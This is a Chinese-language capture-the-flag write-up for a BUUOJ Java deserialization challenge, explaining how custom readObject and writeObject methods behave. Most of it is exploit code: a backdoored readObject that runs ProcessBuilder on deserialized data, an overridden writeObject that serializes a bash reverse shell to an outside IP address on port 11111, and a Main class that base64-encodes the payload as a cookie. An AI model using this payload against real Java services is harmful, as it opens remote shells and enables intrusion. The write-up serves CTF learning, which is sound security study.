題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:2020 年 V&N 內部考核賽 WriteUp
從一道題入門JAVA反序列化漏洞
V&N公開賽2020 writeup
Java反序列化
深入了解序列化writeObject、readObject、readResolve
總結一下,如果目標類中沒有定義私有的writeObject或readObject方法,那么序列化和反序列化的時候將調用默認的方法來根據目標類中的屬性來進行序列化和反序列化,而如果目標類中定義了私有的writeObject或readObject方法,那么序列化和反序列化的時候將調用目標類指定的writeObject或readObject方法來實現。
這里的Tools類中有readObject
,
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])((String[])obj))).start();
}
其實這就是一個后門。我們可以重寫Tools類中writeObject
來生成payload
private void writeObject(ObjectOutputStream out) throws IOException{
out.writeObject(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/174.0.234.134/11111 0>&1"});
}
用Main生成payload
public class Main {
public static void main(String[] args) {
Tools tools = new Tools();
Base64.Encoder e = Base64.getEncoder();
byte[] var20 = new byte[0];
try {
var20 = Tools.create(tools);
} catch (Exception var15) {
var15.printStackTrace();
}
String cookie = e.encodeToString(var20);
System.out.println(cookie);
}
}